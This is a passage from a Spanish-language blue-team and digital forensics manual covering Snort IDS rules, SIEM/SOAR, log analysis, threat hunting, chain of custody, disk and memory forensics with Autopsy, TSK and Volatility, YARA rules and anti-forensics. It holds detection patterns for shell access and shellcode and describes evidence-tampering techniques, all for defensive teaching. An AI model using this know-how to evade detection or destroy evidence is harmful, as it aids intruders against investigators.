ip.src == 192.168.1.0/24 and tcp.flags.push == 1 and tcp.len > 0 and tcp.len < 65
```

Sistemas de Detección de Intrusos (NIDS) con Snort

Snort es un sistema de detección de intrusiones en red (NIDS) de código abierto, ligero y potente. Funciona capturando y analizando el tráfico de red en tiempo real y comparándolo con un conjunto de reglas para identificar patrones de ataques conocidos, escaneos de puertos y otras actividades maliciosas.

- **Estructura de una Regla de Snort:** Cada regla de Snort se compone de dos partes principales :
  1. **El Encabezado (Rule Header):** Define las condiciones generales de la regla.
     - **Acción:** Qué hacer si la regla coincide (ej: alert, log, pass, drop).
     - **Protocolo:** El protocolo a inspeccionar (tcp, udp, icmp, ip).
     - **IP Origen y Puerto Origen:** La dirección y puerto de origen del tráfico.
     - **Dirección:** El operador de dirección (-> para origen a destino, <> para bidireccional).
     - **IP Destino y Puerto Destino:** La dirección y puerto de destino.
  2. **Las Opciones (Rule Options):** Definen los detalles específicos a buscar dentro del paquete.
     - msg: El mensaje de alerta que se registrará.
     - content: La cadena de bytes o texto a buscar en el payload del paquete.
     - sid: Un ID de Snort único para la regla.
     - rev: El número de revisión de la regla.
     - classtype: Clasifica el tipo de ataque (ej: web-application-attack).
     - Y muchas otras opciones para inspeccionar cabeceras, flujo, etc.
- **Ejemplos de Reglas de Snort:**
  - **Detección de Escaneo Nmap Xmas:** Este tipo de escaneo establece los flags FIN, PSH y URG, una combinación que no debería ocurrir en tráfico legítimo.
    ```
    alert tcp any any -> $HOME_NET any (msg:"SCAN Nmap Xmas Scan"; flags:FPU; classtype:attempted-recon; sid:1000004; rev:1;)
    ```
  - **Detección de Intento de Acceso a cmd.exe en un Servidor Web:** Un atacante que ha comprometido un servidor web podría intentar acceder a la shell del sistema a través de una petición web.
    ```
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80
    ```

```
(msg:"WEB-ATTACK cmd.exe access"; flow:to_server,established;
content:"/cmd.exe"; nocase; http_uri;
classtype:web-application-attack; sid:1000005; rev:1;)
```
Esta regla busca la cadena /cmd.exe en la URI de una petición HTTP dirigida a los servidores web.

- **Detección de Shellcode de bind() en Windows:** Esta regla busca el patrón de bytes común asociado con el shellcode que abre una shell de escucha (bind shell) en un sistema Windows.
```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE
x86 NOOP"; content:"|90 90 90 90 90 90 90 90 90 90|";
classtype:shellcode-detect; sid:1000006; rev:1;)
```
El content busca una cadena de NOPs (0x90), que a menudo preceden al shellcode para asegurar la ejecución estable.

Sección 9: Gestión de Eventos y Respuesta a Incidentes

La detección de una amenaza es solo el primer paso. Un Blue Team eficaz debe ser capaz de gestionar el torrente de alertas generadas por sus herramientas, correlacionar eventos dispares para entender el panorama completo de un ataque y responder de manera coordinada y eficiente. Aquí es donde entran en juego las plataformas SIEM y SOAR, junto con las habilidades de análisis de logs y las metodologías de caza de amenazas.

Fundamentos de SIEM y SOAR: Centralización y Orquestación

- **SIEM (Security Information and Event Management):** Un SIEM es el cerebro del Centro de Operaciones de Seguridad (SOC). Es una plataforma que centraliza la recopilación y el almacenamiento de datos de logs y eventos de seguridad de una multitud de fuentes: firewalls, servidores, endpoints (a través de EDR), aplicaciones, sistemas de detección de intrusos (IDS), etc.. Su función principal es **correlacionar** estos eventos en tiempo real para identificar actividades maliciosas o anómalas que no serían evidentes al mirar una única fuente de datos. Por ejemplo, un SIEM puede correlacionar una alerta de inicio de sesión fallido en un servidor con una alerta de tráfico sospechoso desde la misma IP de origen en el firewall, y elevar una alerta de mayor prioridad para el analista. Plataformas populares incluyen **Splunk**, **Elastic SIEM (ELK Stack)** e **IBM QRadar**.
- **SOAR (Security Orchestration, Automation, and Response):** Un SOAR es una evolución que se integra sobre el SIEM y otras herramientas de seguridad para automatizar y orquestar las acciones de respuesta a incidentes. Mientras que un SIEM genera una alerta, un SOAR actúa sobre ella. Utiliza "playbooks" o flujos de trabajo predefinidos para automatizar tareas repetitivas, liberando a los analistas para que se centren en investigaciones más complejas. Por ejemplo, ante una alerta de phishing de un SIEM, un playbook de SOAR podría :
    1. Ingerir automáticamente el correo electrónico sospechoso.
    2. Extraer indicadores (URLs, hashes de archivos adjuntos).
    3. Consultar fuentes de inteligencia de amenazas para verificar la reputación de los indicadores.
    4. Si se confirma como malicioso, buscar y eliminar automáticamente el correo de todos los buzones de la organización.

5. Bloquear la URL en el firewall o proxy web.
6. Crear un ticket en el sistema de gestión de incidentes para la revisión final de un analista. SOAR reduce drásticamente el Tiempo Medio de Detección (MTTD) y el Tiempo Medio de Respuesta (MTTR).

Análisis de Logs en Linux: Uso Avanzado de grep y awk

Incluso con un SIEM, la habilidad de analizar logs directamente en la línea de comandos de un sistema Linux es indispensable para cualquier analista de seguridad o administrador de sistemas. grep y awk son dos de las herramientas más potentes para esta tarea.

- **grep (Global Regular Expression Print):** Se utiliza para buscar líneas que coincidan con un patrón en archivos de texto. Es ideal para encontrar rápidamente eventos específicos.
  - **Uso Básico:** grep "Failed password" /var/log/auth.log busca todas las líneas que contienen esa frase.
  - **Opciones Útiles:**
    - -i: Ignorar mayúsculas y minúsculas.
    - -v: Invertir la búsqueda (mostrar líneas que NO coinciden).
    - -c: Contar el número de líneas que coinciden.
    - -A n, -B n, -C n: Mostrar n líneas después (After), antes (Before) o en contexto (Context) de la línea coincidente.
    - -E: Usar expresiones regulares extendidas.
- **awk:** Es un lenguaje de programación de escaneo y procesamiento de patrones. Es extremadamente potente para manipular datos estructurados en columnas, como la mayoría de los logs. awk procesa un archivo línea por línea y divide cada línea en campos (por defecto, separados por espacios), a los que se puede acceder como $1, $2, etc. $0 representa la línea completa.
  - **Imprimir Campos Específicos:** awk '{print $1, $4}' access.log imprime el primer y cuarto campo de cada línea.
  - **Filtrar por Contenido de Campo:** awk '$9 == "404"' access.log imprime solo las líneas donde el noveno campo (código de estado HTTP en logs de Apache) es "404".
- **El Poder de la Combinación (Pipes):** La verdadera magia ocurre cuando se encadenan estos comandos utilizando el pipe (|), que envía la salida de un comando como entrada al siguiente.

```
# Ejemplo: Encontrar las 5 direcciones IP que han tenido más
intentos de inicio de sesión fallidos en un servidor SSH
# 1. grep: Filtra el log de autenticación para encontrar solo las
líneas con "Failed password".
# 2. awk: Extrae la dirección IP, que suele estar en el campo 11
en estos logs.
# 3. sort: Ordena las direcciones IP para que las duplicadas
queden juntas.
# 4. uniq -c: Cuenta las ocurrencias de cada IP única.
# 5. sort -nr: Ordena el resultado numéricamente (-n) y en orden
inverso (-r) para mostrar las más frecuentes primero.
# 6. head -n 5: Muestra solo las 5 primeras líneas.
grep "Failed password" /var/log/auth.log | awk '{print $11}' |
```

```
sort | uniq -c | sort -nr | head -n 5
```
Este único comando proporciona una visión rápida y poderosa de un posible ataque de fuerza bruta.

Threat Hunting Proactivo: Metodología Basada en Hipótesis

El **Threat Hunting** (caza de amenazas) es un enfoque proactivo de la defensa. En lugar de esperar pasivamente a que un sistema automatizado (como un SIEM o un IDS) genere una alerta, los cazadores de amenazas buscan activamente en su entorno señales de adversarios que ya han eludido las defensas perimetrales.
La metodología más eficaz para el threat hunting es la **basada en hipótesis**. Una hipótesis de caza de amenazas es una conjetura o suposición informada sobre una posible actividad maliciosa, que se utiliza como punto de partida para una investigación.

- **Generación de Hipótesis:** Las hipótesis no son aleatorias. Se basan en:
  - **Inteligencia de Amenazas:** Informes sobre TTPs (Tácticas, Técnicas y Procedimientos) utilizados por actores de amenazas específicos o en campañas recientes. Por ejemplo: "El grupo APT29 utiliza PowerShell para el movimiento lateral".
  - **Conocimiento del Entorno:** Comprensión de los activos críticos ("joyas de la corona") de la organización y los posibles vectores de ataque hacia ellos. Por ejemplo: "Nuestros servidores de base de datos de clientes son un objetivo de alto valor; un atacante podría intentar exfiltrar datos desde ellos".
  - **Análisis de Anomalías:** Observación de desviaciones del comportamiento normal de la red o del sistema. Por ejemplo: "Hemos observado un aumento inusual en el tráfico DNS saliente desde estaciones de trabajo que no son servidores DNS".
- **Ejemplo de Hipótesis y Caza:**
  - **Hipótesis:** "Un adversario ha comprometido una cuenta de usuario a través de phishing y está utilizando rundll32.exe para ejecutar un payload en memoria y establecer persistencia, una técnica común de LOLBAS".
  - **Proceso de Caza:** El analista no busca "malware". En su lugar, utiliza su SIEM o EDR para buscar patrones específicos que validen o refuten la hipótesis:
    1. Buscar ejecuciones de rundll32.exe con padres de proceso inusuales (por ejemplo, WINWORD.EXE o OUTLOOK.EXE).
    2. Buscar ejecuciones de rundll32.exe que realicen conexiones de red salientes, especialmente a IPs o dominios desconocidos.
    3. Correlar estos eventos con logs de autenticación para ver si la cuenta de usuario involucrada ha mostrado otros comportamientos anómalos (inicios de sesión desde ubicaciones inusuales, etc.).

Este enfoque dirigido es mucho más eficiente que buscar a ciegas y permite descubrir amenazas sigilosas que las reglas de detección automatizadas podrían pasar por alto.

Establecimiento de una Línea Base (Baseline) de Red para la Detección de Anomalías

Establecer una **línea base (baseline)** es el proceso de medir y documentar el comportamiento "normal" de una red, sistema o aplicación durante un período de tiempo representativo. Esta línea base actúa como un punto de referencia contra el cual se compara la actividad actual. Cualquier desviación significativa de esta norma se considera una **anomalía** y se marca para

su investigación.

- **Por qué es crucial:** La detección basada en firmas (como en los AV tradicionales o Snort) solo puede detectar amenazas conocidas. La detección de anomalías basada en una línea base puede identificar ataques de día cero, amenazas internas y actividades maliciosas novedosas, ya que se centra en el *comportamiento* en lugar de en las firmas.
- **Proceso de Creación de una Línea Base:**
    1. **Recopilación de Datos:** Recopilar datos de múltiples fuentes durante un período suficiente para capturar los ciclos de negocio normales (por ejemplo, varias semanas o un mes). Las fuentes incluyen logs de flujo de red (NetFlow, sFlow), logs de firewall, logs de autenticación, métricas de rendimiento del sistema, etc..
    2. **Análisis y Definición:** Analizar los datos recopilados para definir qué constituye la actividad normal. Esto puede incluir:
        - **Tráfico de Red:** Puertos y protocolos comúnmente utilizados, volumen de tráfico típico por hora/día, pares de IP que se comunican regularmente.
        - **Comportamiento del Usuario:** Horas de inicio de sesión normales, sistemas a los que se accede habitualmente, volumen de datos transferidos.
        - **Actividad del Sistema:** Procesos que se ejecutan normalmente, uso de CPU y memoria, etc.
    3. **Monitoreo Continuo y Alerta:** Implementar herramientas que monitoreen continuamente la actividad en tiempo real y la comparen con la línea base establecida. Cuando se detecta una desviación que supera un umbral predefinido, se genera una alerta.
    4. **Adaptación y Ajuste:** Las líneas base no son estáticas. Deben actualizarse y ajustarse periódicamente para adaptarse a los cambios en el entorno de TI (nuevas aplicaciones, crecimiento del negocio, etc.) y reducir los falsos positivos.

Las soluciones modernas de detección de anomalías a menudo utilizan algoritmos de **machine learning (ML)** para automatizar la creación y el ajuste de estas líneas base, aprendiendo continuamente del comportamiento de la red para mejorar la precisión de la detección.

Parte IV: La Ciencia de la Investigación - Manual de Forensia Digital

Cuando las defensas fallan y se produce un incidente de seguridad, comienza el trabajo del analista forense digital. Esta disciplina es la ciencia de identificar, preservar, analizar y presentar evidencia digital de una manera que sea legalmente admisible. A diferencia de las operaciones proactivas de los equipos Rojo y Azul, la forensia es inherentemente reactiva, buscando reconstruir los eventos de un incidente para entender el "quién, qué, cuándo, dónde y cómo" de un ataque. Esta sección cubre los principios fundamentales, los procesos y las herramientas de Kali Linux utilizadas en la investigación forense, desde el análisis de discos y memoria hasta la caza de malware y las complejidades de la forensia en la nube.

Sección 10: Principios y Procesos de la Forensia Digital

Una investigación forense exitosa se basa en una metodología rigurosa y un estricto cumplimiento de los procedimientos para garantizar la integridad y la admisibilidad de la evidencia.

El Proceso Forense: Identificación, Preservación, Análisis y Reporte

El proceso forense digital se puede dividir en cuatro fases principales, cada una de las cuales se basa en la anterior :

1. **Identificación:** Esta es la primera fase, donde el investigador identifica las posibles fuentes de evidencia digital. Esto puede incluir computadoras, servidores, dispositivos móviles, dispositivos de almacenamiento externo, logs de red, etc. El objetivo es reconocer qué datos pueden ser relevantes para la investigación y dónde se encuentran.
2. **Preservación (Adquisición):** Esta es quizás la fase más crítica. La evidencia digital es volátil y puede ser fácilmente alterada o destruida. La preservación implica la recopilación de la evidencia de una manera que garantice su integridad. La mejor práctica es crear una **imagen forense** (una copia bit a bit) del medio de almacenamiento original. El investigador nunca debe trabajar directamente sobre la evidencia original. Para verificar que la copia es exacta, se calculan y comparan los hashes criptográficos (como MD5 o SHA-256) del original y de la imagen. Si los hashes coinciden, se demuestra que la copia es idéntica.
3. **Análisis:** Una vez que se tiene una copia de trabajo verificada, comienza el análisis. El investigador utiliza herramientas y técnicas especializadas para examinar los datos, recuperar archivos borrados, reconstruir líneas de tiempo de eventos, buscar palabras clave y conectar los puntos para entender la naturaleza y el alcance del incidente.
4. **Reporte y Presentación:** La fase final consiste en documentar todos los hallazgos de manera clara, concisa y objetiva. El informe debe detallar la evidencia examinada, las herramientas y métodos utilizados, los hallazgos y las conclusiones del investigador. Este informe debe ser lo suficientemente completo como para soportar acciones internas, regulatorias o legales, y debe ser presentado de una manera que sea comprensible tanto para audiencias técnicas como no técnicas.

La Cadena de Custodia: Importancia, Mantenimiento y Documentación

La **Cadena de Custodia (Chain of Custody)** es el pilar que sostiene la integridad de la evidencia forense. Es un registro cronológico meticuloso que documenta cada persona que ha manejado la evidencia, desde el momento de su recolección hasta su presentación en un tribunal. Una cadena de custodia ininterrumpida y bien documentada es esencial para demostrar que la evidencia no ha sido alterada, manipulada o contaminada, y es un requisito fundamental para su admisibilidad en un proceso legal.

Un fallo en la cadena de custodia puede llevar a que una prueba crucial sea desestimada, comprometiendo todo el caso. Por lo tanto, cada transferencia de evidencia debe ser documentada en un **formulario de cadena de custodia**.

A continuación se presenta una plantilla de ejemplo para un formulario de cadena de custodia, que consolida los campos esenciales mencionados en las mejores prácticas de la industria.

Sección	Campo	Descripción
A. Información del Caso	Número de Caso	Identificador único para la investigación.
	Nombre del Investigador Principal	La persona a cargo del caso.
	Fecha de Apertura del Caso	La fecha en que se inició oficialmente la investigación.

Sección	Campo	Descripción
B. Detalles de la Evidencia	Número de Evidencia	Identificador único asignado a este ítem específico (ej: CASE-001-EVID-001).
	Descripción del Ítem	Descripción detallada (ej: "Laptop Dell Latitude 7490, color negro").
	Fabricante, Modelo, Nº de Serie	Información de identificación del dispositivo.
	Condición en la Recolección	Estado del ítem al ser recolectado (ej: "Encendido y conectado a la red", "Apagado", "Pantalla rota").
	Ubicación de la Recolección	Lugar físico exacto donde se encontró la evidencia.
	Recolectado por (Nombre y Firma)	Quién recolectó la evidencia.
	Fecha y Hora de la Recolección	Marca de tiempo precisa de la recolección.
C. Adquisición Forense	Imagen Forense Creada	Sí / No.
	Software/Hardware de Adquisición	Herramienta utilizada para la imagen (ej: "Guymager 0.8.1", "FTK Imager 4.5.0").
	Nombre del Archivo de Imagen	El nombre del archivo de la imagen creada (ej: CASE-001-EVID-001.E01).
	Hash MD5 de la Imagen	Hash MD5 calculado de la imagen forense para verificación de integridad.
	Hash SHA-256 de la Imagen	Hash SHA-256 calculado de la imagen forense.
	Adquisición Realizada por (Nombre y Firma)	Quién realizó la adquisición.
	Fecha y Hora de la Adquisición	Marca de tiempo precisa de la adquisición.
D. Registro de Transferencia de Custodia	Fecha y Hora	Cuándo ocurrió la transferencia.
	Entregado por (Nombre, Agencia, Firma)	La persona que cede la custodia de la evidencia.
	Recibido por (Nombre, Agencia, Firma)	La persona que asume la custodia de la evidencia.
	Motivo de la Transferencia	Razón de la transferencia (ej: "Para análisis en laboratorio", "Almacenamiento seguro").

Fuentes de la tabla:

Este formulario debe acompañar a la evidencia física en todo momento. Cada vez que la

evidencia cambia de manos, se debe añadir una nueva entrada en la sección de Registro de Transferencia, creando así un rastro de papel (o digital) ininterrumpido y auditable.

Sección 11: Forensia de Disco y Sistema de Archivos

El análisis de discos duros, SSDs y otras formas de almacenamiento no volátil es la forma más tradicional de la forensia digital. El objetivo es examinar la estructura del sistema de archivos para recuperar datos activos, archivos eliminados, metadatos y otros artefactos que puedan servir como evidencia.

Análisis de Imágenes de Disco con Autopsy

Autopsy es una plataforma de forensia digital gráfica, de código abierto y fácil de usar, que actúa como una interfaz para The Sleuth Kit y otras herramientas forenses. Es una herramienta ideal tanto para principiantes como para expertos para realizar un análisis completo de una imagen de disco.

- **Flujo de Trabajo en Autopsy:** El proceso de análisis en Autopsy es estructurado y eficiente :
    1. **Crear un Nuevo Caso:** Todo análisis comienza con la creación de un caso, que sirve como contenedor para la evidencia y los resultados. Se le asigna un nombre, un número y un directorio base.
    2. **Añadir una Fuente de Datos:** Se añade la imagen de disco (.dd, .E01, .vmdk, etc.) al caso. Autopsy verificará la integridad de la imagen si se proporcionan los hashes.
    3. **Configurar y Ejecutar Módulos de Ingesta (Ingest Modules):** Este es el corazón del análisis automatizado de Autopsy. Los módulos de ingesta son plugins que se ejecutan en segundo plano para analizar los datos. Los módulos estándar incluyen :
        - **Cálculo de Hash y Búsqueda:** Calcula los hashes de todos los archivos y los compara con listas de hashes conocidas (NSRL para archivos buenos, listas de malware para archivos malos).
        - **Extracción de Artefactos Web:** Recupera historial, cookies y marcadores de navegadores web.
        - **Búsqueda de Palabras Clave (Keyword Search):** Busca en todo el disco listas de palabras clave predefinidas.
        - **Análisis de Correo Electrónico:** Parsea archivos de correo como MBOX o PST.
        - **File Carving:** Intenta recuperar archivos eliminados de los espacios no asignados del disco basándose en sus cabeceras y pies de página (firmas de archivo).
    4. **Análisis Manual:** Mientras los módulos se ejecutan, el analista puede navegar por la estructura de archivos, ver el contenido de los ficheros en diferentes formatos (texto, hexadecimal, imagen), examinar los artefactos encontrados por los módulos de ingesta y etiquetar (tag) los elementos de interés.
    5. **Generación de Informes:** Al final de la investigación, Autopsy puede generar un informe completo en formato HTML o PDF que resume todos los hallazgos, incluyendo los archivos etiquetados, artefactos y la línea de tiempo de eventos.

Uso de The Sleuth Kit (TSK): fls e icat

The Sleuth Kit (TSK) es la colección de herramientas de línea de comandos en la que se basa Autopsy. Para análisis rápidos, automatizados o de bajo nivel, TSK es extremadamente potente. Dos de sus herramientas más fundamentales son fls e icat.

- **fls - Listar Archivos y Directorios:** El comando fls se utiliza para listar los nombres de archivos y directorios de un sistema de archivos dentro de una imagen de disco. También puede mostrar información sobre archivos eliminados que aún tienen metadatos en el sistema de archivos.
  - **Sintaxis y Opciones Clave:**
    - -r: Recursivo, lista el contenido de los directorios de forma recursiva.
    - -p: Muestra la ruta completa de cada archivo.
    - -d: Muestra solo las entradas eliminadas.
    - -o imgoffset: Especifica el desplazamiento (en sectores) donde comienza el sistema de archivos dentro de la imagen. Esto es crucial si se está analizando una imagen de un disco completo en lugar de una partición.

```
# Listar recursivamente todos los archivos y directorios en una imagen de disco, mostrando la ruta completa.
# Se asume que el sistema de archivos comienza en el sector 2048.
fls -r -p -o 2048 disk_image.dd
```

  La salida de fls incluye el tipo de archivo, el número de inodo y el nombre del archivo.
- **icat - Extraer Contenido de Archivo por Inodo:** Una vez que fls ha identificado un archivo de interés y su número de inodo, icat puede extraer el contenido de ese archivo. icat lee directamente los bloques de datos del disco asociados con ese inodo, lo que le permite recuperar archivos incluso si han sido eliminados (siempre que sus bloques de datos no hayan sido sobrescritos).
  - **Sintaxis:** icat [opciones] imagen [inodo]

```
# Extraer el contenido del archivo con el inodo 34567 desde la partición que comienza en el sector 2048
# y guardarlo en un archivo local llamado 'documento_recuperado.pdf'.
icat -o 2048 disk_image.dd 34567 > documento_recuperado.pdf
```

Es importante redirigir la salida a un archivo, ya que icat imprime el contenido en bruto a la salida estándar, lo que podría corromper la terminal si se trata de un archivo binario.
El dominio de estas herramientas, tanto gráficas como de línea de comandos, proporciona al analista forense la flexibilidad necesaria para llevar a cabo investigaciones exhaustivas y eficientes en una amplia variedad de escenarios.

Sección 12: Forensia de Memoria Volátil

La forensia de memoria, o análisis de RAM, es una subdisciplina crítica de la forensia digital que se centra en la investigación de datos volátiles. A diferencia de la forensia de disco, que analiza datos persistentes, la forensia de memoria examina el contenido de la memoria de acceso aleatorio (RAM) de un sistema en un momento dado. Esta área ha ganado una importancia inmensa debido al auge del malware "sin archivos" (fileless), que se ejecuta exclusivamente en la memoria para evadir la detección por parte de las herramientas de seguridad basadas en disco. Un volcado de memoria (memory dump) puede contener una gran cantidad de evidencia efímera, como procesos en ejecución, conexiones de red, claves de

cifrado, contraseñas en texto plano y comandos ejecutados recientemente.

Análisis de Volcados de Memoria con Volatility Framework

El **Volatility Framework** es la herramienta de código abierto estándar de la industria para el análisis de volcados de memoria de sistemas Windows, Linux y macOS. Es un framework escrito en Python que proporciona una multitud de plugins para extraer artefactos forenses de una imagen de memoria en bruto. Volatility 3 es la reescritura moderna del framework, aunque muchos analistas todavía utilizan Volatility 2 por su vasto ecosistema de plugins maduros.

- **Flujo de Trabajo Básico con Volatility:**
  1. **Adquisición de Memoria:** El primer paso es adquirir un volcado de memoria del sistema en vivo. Esto se puede hacer con herramientas como FTK Imager, Belkasoft RAM Capturer o LiME (Linux Memory Extractor).
  2. **Identificación del Perfil:** Antes de poder analizar el volcado, Volatility necesita saber qué sistema operativo y arquitectura representa la imagen de memoria. Esto se conoce como el "perfil". El plugin imageinfo (en Volatility 2) o windows.info (en Volatility 3) analiza la imagen y sugiere los perfiles más probables.
  3. **Ejecución de Plugins:** Una vez identificado el perfil, el analista puede ejecutar varios plugins para extraer información.
- **Comandos Básicos de Volatility 3 (Sintaxis para Windows):**
  - **Identificar el Sistema Operativo:**

    ```
    # Analiza el volcado de memoria y proporciona información del SO y la arquitectura.
    python3 vol.py -f memdump.vmem windows.info
    ```

  - **Listar Procesos:** pslist muestra los procesos en ejecución de una manera similar al Administrador de Tareas. pstree los muestra en una vista de árbol, lo cual es extremadamente útil para identificar procesos anómalos (por ejemplo, svchost.exe no debería ser hijo de explorer.exe).

    ```
    # Listar procesos activos
    python3 vol.py -f memdump.vmem windows.pslist

    # Mostrar procesos en formato de árbol para ver relaciones padre-hijo
    python3 vol.py -f memdump.vmem windows.pstree
    ```

  - **Ver Conexiones de Red:** netscan muestra las conexiones de red (TCP/UDP) que estaban activas en el momento de la captura, incluyendo direcciones IP locales y remotas, puertos y el PID del proceso propietario.

    ```
    # Listar conexiones de red activas y escuchando
    python3 vol.py -f memdump.vmem windows.netscan
    ```

  - **Recuperar Historial de Comandos:** cmdscan y consoles buscan en la memoria buffers de la consola (como cmd.exe o PowerShell) para recuperar comandos que fueron tecleados por un usuario o un atacante.

    ```
    # Escanear en busca de comandos ejecutados en la consola
    python3 vol.py -f memdump.vmem windows.cmdscan
    ```

- **Extraer Archivos de Memoria:** filescan busca objetos de archivo en la memoria, y dumpfiles permite extraerlos a disco para un análisis posterior.

```
# Escanear en busca de archivos en memoria
python3 vol.py -f memdump.vmem windows.filescan

# Volcar el archivo encontrado en la dirección de memoria
virtual 0x...
python3 vol.py -f memdump.vmem -o./output_dir
windows.dumpfiles --virtaddr 0x...
```

Detección de Malware en Memoria con malfind y yarascan

Dos de los plugins más potentes de Volatility para la caza de malware son malfind y yarascan.

- **malfind (Find Malicious Code):** Este plugin está diseñado específicamente para encontrar código oculto o inyectado en la memoria de un proceso. Funciona buscando en el espacio de memoria de un proceso regiones que tengan características sospechosas, principalmente permisos de memoria PAGE_EXECUTE_READWRITE (una región que es ejecutable, legible y escribible al mismo tiempo), que no se correspondan con ningún archivo DLL cargado en el disco. El malware a menudo inyecta su código en procesos legítimos (como explorer.exe o svchost.exe) con estos permisos para poder ejecutarse. malfind no solo identifica estas regiones, sino que también puede volcarlas (-D <directorio>) para un análisis más profundo.

```
# Ejemplo con Volatility 2: Buscar código inyectado en el proceso
con PID 1724 y volcar los segmentos encontrados al
directorio./injected_code
python vol.py -f zeus.vmem --profile=Win7SP1x64 malfind -p 1724
-D./injected_code
```

- **yarascan (Scan with YARA rules):** Este plugin integra el poder de YARA directamente en el análisis de memoria. Permite a los analistas escanear todo el volcado de memoria (o la memoria de procesos específicos) en busca de patrones que coincidan con reglas YARA. Esto es extremadamente útil para:
  - Buscar firmas de familias de malware conocidas.
  - Identificar cadenas de texto únicas, como URLs de C2, nombres de mutex o claves de registro utilizadas por un malware específico.
  - Encontrar fragmentos de código o secuencias de bytes característicos de una técnica de ataque.

```
# Ejemplo con Volatility 2: Escanear la memoria del proceso con PID
624 usando una regla YARA que busca una cadena de texto específica.
python vol.py -f zeus.vmem --profile=WinXPSP2x86 yarascan --pid=624
--yara-rules="rule find_string { strings: $a = \"mi_cadena_maliciosa\"
condition: $a }"
```

La combinación de malfind para identificar regiones de memoria sospechosas y yarascan para buscar indicadores específicos dentro de esas regiones proporciona un flujo de trabajo muy eficaz para descubrir y analizar malware que opera exclusivamente en la memoria, eludiendo

las defensas tradicionales.

Sección 13: Análisis de Malware y Anti-Forensia

El análisis de malware es el proceso de diseccionar software malicioso para entender su funcionamiento, origen y propósito. Es una tarea fundamental tanto para los Blue Teams (para desarrollar detecciones y responder a incidentes) como para los analistas forenses. Por otro lado, los atacantes emplean cada vez más técnicas de **anti-forensia** para frustrar estas investigaciones, ocultando su presencia y destruyendo evidencia. Un profesional completo debe entender ambos lados de esta moneda.

Herramientas de Kali para el Análisis Básico de Malware

Kali Linux incluye varias herramientas que son excelentes para un análisis estático inicial de un archivo sospechoso. El análisis estático implica examinar el archivo sin ejecutarlo.

- **file:** Este comando simple pero esencial examina la cabecera de un archivo (sus "magic bytes") para determinar su tipo, independientemente de su extensión. Es el primer paso para saber si un archivo que se llama imagen.jpg es realmente una imagen o un ejecutable renombrado.
  ```
  # Determinar el tipo de archivo de 'sample.exe'
  file sample.exe
  ```
  Salida esperada: sample.exe: PE32 executable (GUI) Intel 80386, for MS Windows.
- **strings:** Esta utilidad extrae secuencias de caracteres imprimibles (cadenas de texto) de un archivo binario. Es increíblemente útil para encontrar pistas sobre la funcionalidad del malware, como URLs de C2, nombres de archivos que crea, claves de registro que modifica, mensajes de error o incluso nombres de funciones de la API de Windows que utiliza.
  ```
  # Extraer todas las cadenas de texto de 4 caracteres o más de
  'sample.exe' y guardar en un archivo
  strings -n 4 sample.exe > strings_output.txt
  ```

- **VirusTotal:** Aunque es un servicio web y no una herramienta de Kali per se, su uso es una parte estándar del triaje inicial. Subir el hash del archivo (no el archivo en sí mismo, para no alertar a los atacantes si es una muestra nueva) a VirusTotal permite compararlo con docenas de motores antivirus y obtener información sobre si es un malware conocido, sus nombres y otros metadatos.

Creación de Reglas YARA para la Clasificación de Malware

YARA es una herramienta apodada "la navaja suiza para los cazadores de malware". Permite crear descripciones de familias de malware (llamadas reglas) basadas en patrones textuales o binarios. Estas reglas pueden ser utilizadas para escanear archivos o volcados de memoria en busca de malware.

- **Estructura de una Regla YARA:** Una regla YARA tiene tres secciones principales :
  1. meta: Contiene metadatos sobre la regla, como el autor, la fecha, la descripción y los hashes de las muestras utilizadas para crearla. Esto es crucial para la gestión y el intercambio de reglas.
  2. strings: Aquí se definen los patrones que se van a buscar. A cada patrón se le

asigna un nombre de variable (ej: $text1, $hex1). Los patrones pueden ser:
    - **Cadenas de texto ASCII/Unicode:** $a = "malware.pdb" wide ascii
    - **Secuencias hexadecimales:** $h1 = { E8???????? 8B F0 } (el ?? es un comodín).
    - **Expresiones regulares.**
3. condition: Esta es la lógica de la regla. Especifica qué condiciones deben cumplirse para que un archivo se considere una coincidencia. Se utilizan operadores booleanos (and, or, not) y se puede hacer referencia a las variables de strings (ej: #a > 5 significa que la cadena $a debe aparecer más de 5 veces) o usar módulos como pe para inspeccionar archivos ejecutables de Windows.

- **Ejemplo Práctico de Regla YARA:** Supongamos que estamos analizando un ransomware que crea un archivo de nota de rescate llamado RECOVER_YOUR_FILES.txt y utiliza la función de la API CryptEncrypt.

```
import "pe"

rule Detect_SimpleRansomware
{
    meta:
        author = "Analista de Ciberseguridad"
        date = "2024-10-26"
        description = "Detecta un ransomware simple basado en
strings y una importación de la API de criptografía."
        hash = "abcdef123456..."

    strings:
        $text1 = "RECOVER_YOUR_FILES.txt" wide
        $text2 = "Todos sus archivos han sido cifrados" ascii
        $hex1 = { 8D 45 F0 50 FF 75 0C FF 75 08 }

    condition:
        // La condición para que la regla se active:
        // El archivo debe ser un ejecutable de Windows (MZ en la
cabecera)
        // Y debe importar la función CryptEncrypt de advapi32.dll
        // Y debe contener al menos dos de las tres strings
definidas.
        uint16(0) == 0x5A4D and
        pe.imports("advapi32.dll", "CryptEncrypt") and
        2 of ($text*)
}
```

Técnicas de Anti-Forensia Comunes y Estrategias para su Detección

La anti-forensia engloba cualquier técnica utilizada por un atacante para frustrar la investigación forense. El objetivo es destruir, ocultar, alterar o fabricar evidencia.

- **Técnicas Comunes:**
    - **Cifrado y Empaquetadores (Packers):** Los atacantes cifran sus payloads o

utilizan empaquetadores como UPX para comprimir y ofuscar el código ejecutable. Esto dificulta el análisis estático, ya que las cadenas y el código no son visibles hasta que el programa se desempaqueta y se ejecuta en memoria.
    - **Sobrescritura de Datos (Data Wiping/Shredding):** Utilización de herramientas como SDelete o Eraser para sobrescribir archivos (o espacio libre en disco) con datos aleatorios, haciendo que la recuperación de los datos originales sea imposible.
    - **Timestomping:** Modificación de los metadatos de un archivo, específicamente sus marcas de tiempo (Creación, Modificación, Acceso), para hacerlo parecer más antiguo o más reciente de lo que es. Esto puede hacer que un analista pase por alto un archivo malicioso si está filtrando por un rango de tiempo específico.
    - **Limpieza de Logs:** Los atacantes a menudo eliminan o modifican los logs de eventos (como los logs de seguridad de Windows o los logs de bash_history en Linux) para borrar las huellas de su actividad.
    - **Esteganografía:** El arte de ocultar datos dentro de otros archivos de apariencia inocente, como imágenes, archivos de audio o video. El dato oculto se incrusta en los bits menos significativos del archivo portador, lo que lo hace visual o auditivamente indetectable.
- **Estrategias de Detección:**
